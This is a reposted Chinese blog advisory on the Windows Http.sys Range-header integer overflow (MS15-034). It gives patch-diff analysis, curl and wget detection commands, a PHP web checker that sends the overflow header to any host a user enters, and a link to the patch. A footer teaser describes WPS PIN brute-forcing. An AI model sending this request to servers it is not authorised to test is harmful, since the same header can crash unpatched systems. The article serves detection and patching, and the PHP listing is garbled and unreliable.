HTTP.sys remote code execution vulnerability「建议收藏」

HTTP.sys remote code execution vulnerability「建议收藏」IIS系列Http.sys处理Range整数溢出漏洞导致远程代码执行1.漏洞概要2015年04月14日,微软发布严重级别的安全公告MS15-034,编号为CVE-2015-1635,据称在Http.sys中的漏洞可能允许远程执行代码。2.漏洞描述CWE:CWE-119 CVE:CVE-2015-1635   Http.sys是一个位于Windows操作系统核…

大家好,又见面了,我是你们的朋友全栈君。

IIS 系列 Http.sys处理 Range 整数溢出漏洞导致远程代码执行

1.漏洞概要

2015 年 04 月 14 日,微软发布严重级别的安全公告 MS15-034,编号为 CVE-2015-1635,据称在 Http.sys 中的漏洞可能允许远程执行代码。

2. 漏洞描述

CWE: CWE-119 

CVE: CVE-2015-1635   

 Http.sys 是一个位于 Windows 操作系统核心组件,能够让任何应用程序通过它提供的接口,以 Http 协议进行信息通讯。微软在 Windows 2003 Server 里引进了新的 HTTP API 和内核模式驱动 Http.sys,目的是使基于 Http 服务的程序更有效率。其实在 Windows XP 安装 SP2 后,Http.sys 已经出现在系统里了,但事实上操作系统并没有真的使用这个内核级驱动,而 XP 上自带的 IIS 5.1 也没有使用 HTTP API。从曝出的 poc 来看,此漏洞是一个整数溢出类型的漏洞,微软安全公告称最大安全影响是远程执行代码。

3.受影响版本

这是对于服务器系统影响不小的安全漏洞,任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。


4.漏洞原理

(from seebug)

根据补丁比较发现,POC 中提到的代码出现在 UlpParseRange 函数中修改的部分。

在未打补丁的 Http.sys 文件的 UlpParseRange 函数中,代码如下。

4.171

4.172

可以看到,在计算 64 位整数时直接进行了运算,没有进行必要的整数溢出检查。

而在打补丁的 Http.sys 文件的 UlpParseRange 函数中,修改代码如下。

4.173

4.174

用 RtlULongLongAdd 函数来计算 Range 范围长度 v18,这个函数中是做了整数溢出检查的。

4.175

再看一下对 RtlULongLongAdd 函数的调用情况。

4.176

在未打补丁的 Http.sys 文件中只有 1 处调用了 RtlULongLongAdd 函数。

4.177

而在打补丁的 Http.sys 文件中总共有 13 处调用了 RtlULongLongAdd 函数进行整数溢出检查,说明有漏洞的系统中可能有多个处理流程会涉及到整数溢出造成的安全问题。

通过补丁比较确定了修改过的函数如下。

4.178

经过分析发现,UlAdjustRangesToContentSize 函数中的整数溢出点,才是导致漏洞能发挥作用的关键流程。

4.179

 

这段代码还是采用了直接运算 64 位整数的方式,没有检查是否溢出,在补丁文件中替换为调用 RtlULongLongAdd 函数。

这部分代码的功能是判断获取文件偏移量的范围,是否会超过请求缓存文件的数据长度,如果超出就把读取长度 修改为合适的大小,防止越界访问数据。但是由于发生了整数溢出,使得判断越界的代码失效,这样就不会修改读取长度,造成用可控的长度值越界访问数据。

5.漏洞检测

HTTP.sys remote code execution vulnerability「建议收藏」

curl:

curl -i http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

wget:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

PHP代码:

<?php class VulnStatus { 
    const FAIL        = 0; const VULN        = 1; const VULN_NOT_MS = 2; const PATCHED     = 3; const NOT_VULN    = 4; const NOT_VULN_MS = 5; const NOT_VULN_CF = 6; public static function AsString( $status, $host ) { 
    switch( $status ) { 
    case self::FAIL       : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';; case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';; case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';; case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';; case self::NOT_VULN   : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';; case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';; case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';; } return ';好像坏了';; } } $host = false; $status = false; $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL ); if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null ) { 
    $url = ';http://'; . $url; } $port = parse_url( $url, PHP_URL_PORT ); if( $port === null ) { 
    $port = 80; } $url = parse_url( $url, PHP_URL_HOST ); if( $url !== null ) { 
    $cachekey = ';ms15034_'; . $url . ';_'; . $port; $cachetime = 300; // 5 minutes $host = htmlspecialchars( $url, ENT_HTML5 ); if( $port !== 80 ) { 
    $host .= ';:'; . $port; } $memcached = new Memcached( ); $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 ); $status = $memcached->get( $cachekey ); if( $status === false ) { 
    $fp = @fsockopen( $url, $port, $errno, $errstr, 5 ); if( $fp === false ) { 
    $status = VulnStatus::FAIL; } else { 
    stream_set_timeout( $fp, 5 ); $header = "GET / HTTP/1.1\r\n"; $header .= "Host: stuff\r\n"; $header .= "Range: bytes=0-18446744073709551615\r\n"; $header .= "Connection: close\r\n\r\n"; fwrite( $fp, $header ); $response = fread( $fp, 1024 ); fclose( $fp ); if( strpos( $response, ';您的请求范围不符合'; ) !== false ) { 
    $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN; } else if( strpos( $response, ';请求一个无效的header头部'; ) !== false ) { 
    $cachetime = 3600; // 缓存时间 $status = VulnStatus::PATCHED; } else if( strpos( $response, ';Microsoft'; ) === false ) { 
    if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false ) { 
    $status = VulnStatus::NOT_VULN_CF; } else { 
    $status = VulnStatus::NOT_VULN; } } else { 
    $status = VulnStatus::NOT_VULN_MS; } } unset( $fp, $header, $response ); $memcached->set( $cachekey, $status, $cachetime ); } $status = VulnStatus::AsString( $status, $host ); } ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="theme-color" content="#424242"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MS15-034 测试</title> <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> <style type="text/css"> .container { 
    max-width: 900px; } .masthead { 
    position: relative; padding: 20px 0; text-align: center; color: #fff; background-color: #424242; margin-bottom: 20px; } .masthead a { 
    color: #fff; } .footer { 
    text-align: center; padding: 15px; color: #555; } .footer span { 
    color: #FA5994; } .form-inline { 
    text-align: center; margin-bottom: 20px; } .github { 
    position: absolute; top: 0; right: 0; } </style> </head> <body> <div> <div> <h1>HTTP.sys 堆栈漏洞测试</h1> <h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3> </div> </div> <div> <blockquote> <p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p> <p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p> </blockquote> <form id="js-form" method="GET"> <div> <input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { 
    echo '; value="'; . $host . ';"';; } ?>> <button type="submit" class="btn btn-primary btn-lg">检测</button> </div> </form> <?php if( $status !== false ) { 
    echo $status; } ?> <div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div> </div> </body> </html>

Python POC (pocsuite)

https://www.seebug.org/vuldb/ssvid-89233

6.漏洞修复

通过 Windows 更新机制,选择 KB3042553 安全更新进行系统升级。

referrer:

http://blogs.360.cn/blog/cve_2015_6135_http_rce_analysis/

https://www.seebug.org/vuldb/ssvid-89233

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161439.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • wifi reaver

    wifi reaverPIN码的格式很简单,八位十进制数,最后一位(第8位)为校验位(可根据前7位算出),验证时先检测前4位,如果一致则反馈一个信息,所以只需1万次就可完全扫描一遍前4位,前4位确定下来的话,只需再试1000次(接下来的3位),校验位可通过前7为算出,就可暴力验证出pin码。所以即时你不知道校验位怎么计算,那你最多尝试10000+1000+10次=11010次就可以获得PIN,从而获得wifi…

    2022年6月4日
    45
  • 数据中心分解实验(五)–abricPath

    数据中心分解实验(五)–abricPath这个实验有点长,看官慢慢看!传说中用来取代生成树(Spanning-tree)的FabricPath(这个还真不太好翻译,就简称FP吧),到底是啥?先别急,首先回顾一下生成树协议,作为二层网络的防环路机制,生成树确实有积极的一面,不过缺点也是一大堆啦:1.收敛很慢,论秒计的速度;2.运算机制也比较复杂,配置管理和维护也相对复杂;3.网络里有接口被BLO…

    2022年10月30日
    0
  • 各种计算机语言[通俗易懂]

    各种计算机语言[通俗易懂]来源:http://blog.csdn.net/walkingmanc/article/details/6367057作为计算机专业的程序猿,已经学习过很多语言,但是从来没有静下来总结一下各种语言,今

    2022年8月3日
    2
  • Android微信撤回消息如何恢复?「建议收藏」

    Android微信撤回消息如何恢复?「建议收藏」2019新年已经在向我们招手,马上就是春节啦!小编提前在这里给大家拜个早年!今天给大家带来年底最后一篇技术文章,祝大家新的一年在电子数据取证工作上势如破“猪”!在日常办案过程中,技术人员常会处理有关微信聊天数据的恢复工作。其中有一类消息比较特殊,那就是撤回消息,它不属于删除消息,但是形式却与删除消息类似,亦即被撤回之后的消息也是不可见的,并且很难被提取。在这篇文章中,我们就对Android撤…

    2022年6月29日
    42
  • 前端框架AdminLTE

    前端框架AdminLTE作为CMDB资产管理项目,必须有一个丰富、直观、酷炫的前端页面。适合运维平台的前端框架有很多,开源的也不少,这里选用的是AdminLTE。AdminLTE托管在GitHub上,可以通过下面的地址下载:https://github.com/almasaeed2010/AdminLTE/releasesAdminLTE自带JQuery和Bootstrap3框架,无需另外下载。AdminLTE自带多种配…

    2022年7月27日
    13
  • html5人物图片360度立体旋转

    体验效果:http://hovertree.com/texiao/html5/10.htm下载:http://hovertree.com/hvtart/bjae/t16oddyt.htm代码如下:Fu

    2021年12月21日
    44

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号